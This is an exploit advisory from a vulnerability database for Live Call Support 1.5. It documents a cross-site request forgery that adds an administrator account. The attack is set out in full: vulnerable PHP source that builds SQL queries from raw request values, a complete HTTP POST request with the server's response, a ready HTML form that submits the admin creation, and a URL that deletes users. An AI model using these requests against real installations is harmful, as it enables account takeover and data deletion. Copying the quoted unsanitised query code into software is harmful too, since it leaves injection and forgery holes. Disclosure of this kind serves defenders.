Live Call Support 1.5 Cross Site Request Forgery

2019.01.15
Credit: Ihsan Sencan
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-352

# Exploit Title: Live Call Support 1.5 - Cross-Site Request Forgery (Add Admin) # Dork: N/A # Date: 2019-01-13 # Exploit Author: Ihsan Sencan # Vendor Homepage: http://ranksol.com/ # Software Link: https://codecanyon.net/item/live-call-support-widget-software-online-calling-web-application/22532799 # Version: 1.5 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # POC: # 1) # http://localhost/[PATH]/server.php # #/[PATH]/server.php #213 case "save_user":{ #214 #215 if($_REQUEST['password']==$_REQUEST['confirm_password']){ #216 #217 if($_REQUEST['uid']==''){ #218 #219 $sql = "insert into users #220 #221 ( #222 #223 name, #224 #225 phone_number, #226 #227 email, #228 #229 password, #230 #231 type #232 #233 ) #234 #235 values #236 #237 ( #238 #239 '".$_REQUEST['agent_name']."', #240 #241 '".$_REQUEST['agent_number']."', #242 #243 '".$_REQUEST['email_address']."', #244 #245 '".$_REQUEST['password']."', #246 #247 '".$_REQUEST['role']."' #248 #249 )"; #250 #251 }else{ #252 #253 $sql = "update users set POST /[PATH]/server.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------16460805410548 Content-Length: 879 Cookie: PHPSESSID=5fd1dbc1e4c6b5876e1f44dbc157af9f DNT: 1 Connection: keep-alive Upgrade-Insecure-Requests: 1 -----------------------------16460805410548: undefined Content-Disposition: form-data; name="agent_name" efeefe -----------------------------16460805410548 Content-Disposition: form-data; name="agent_number" 1234 -----------------------------16460805410548 Content-Disposition: form-data; name="email_address" efe@omerefe.com -----------------------------16460805410548 Content-Disposition: form-data; name="role" 1 -----------------------------16460805410548 Content-Disposition: form-data; name="password" efeefe -----------------------------16460805410548 Content-Disposition: form-data; name="confirm_password" efeefe -----------------------------16460805410548 Content-Disposition: form-data; name="uid" -----------------------------16460805410548 Content-Disposition: form-data; name="cmd" save_user -----------------------------16460805410548-- HTTP/1.1 302 Found Date: Sun, 13 Jan 2019 11:45:08 GMT Server: Apache X-Powered-By: PHP/7.1.25 Access-Control-Allow-Origin: * Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding location: users.php Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 # POC: # 2) # http://localhost/[PATH]/server.php # <html> <body> <form method="post" action="http://localhost/[PATH]/server.php" enctype="multipart/form-data"> <div class="form-group"> <label>Name</label> <input name="agent_name" value="" type="text"> </div> <div class="form-group"> <label>Phone Number</label> <input name="agent_number" value="" type="text"> </div> <div class="form-group"> <label>Email Address</label> <input name="email_address" value="" type="text"> </div> <div class="form-group"> <label>Role</label> <select name="role" class="form-control"> <option value="2">Consultant</option> <option value="1">Admin</option> </select> </div> <div class="form-group"> <label>Password</label> <input name="password" value="" type="text"> </div> <div class="form-group"> <label>Confirm Password</label> <input name="confirm_password" type="text"> </div> <div class="form-group"> <input name="uid" value="" type="hidden"> <input name="cmd" value="save_user" type="hidden"> <input value="Save" class="btn btn-primary" type="submit"> <input value="Back" class="btn btn-default" onclick="history.go(-1)" type="button"> </div> </form> </body> </html> # POC: # 3) # http://localhost/[PATH]/server.php?cmd=delete_user&userID=[DELETE_ID] # #/[PATH]/server.php #191 case "delete_user":{ #192 #193 $userID = $_REQUEST['userID']; #194 #195 $res = mysqli_query($link,"delete from users where id='".$userID."'"); #196 #197 if($res){


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top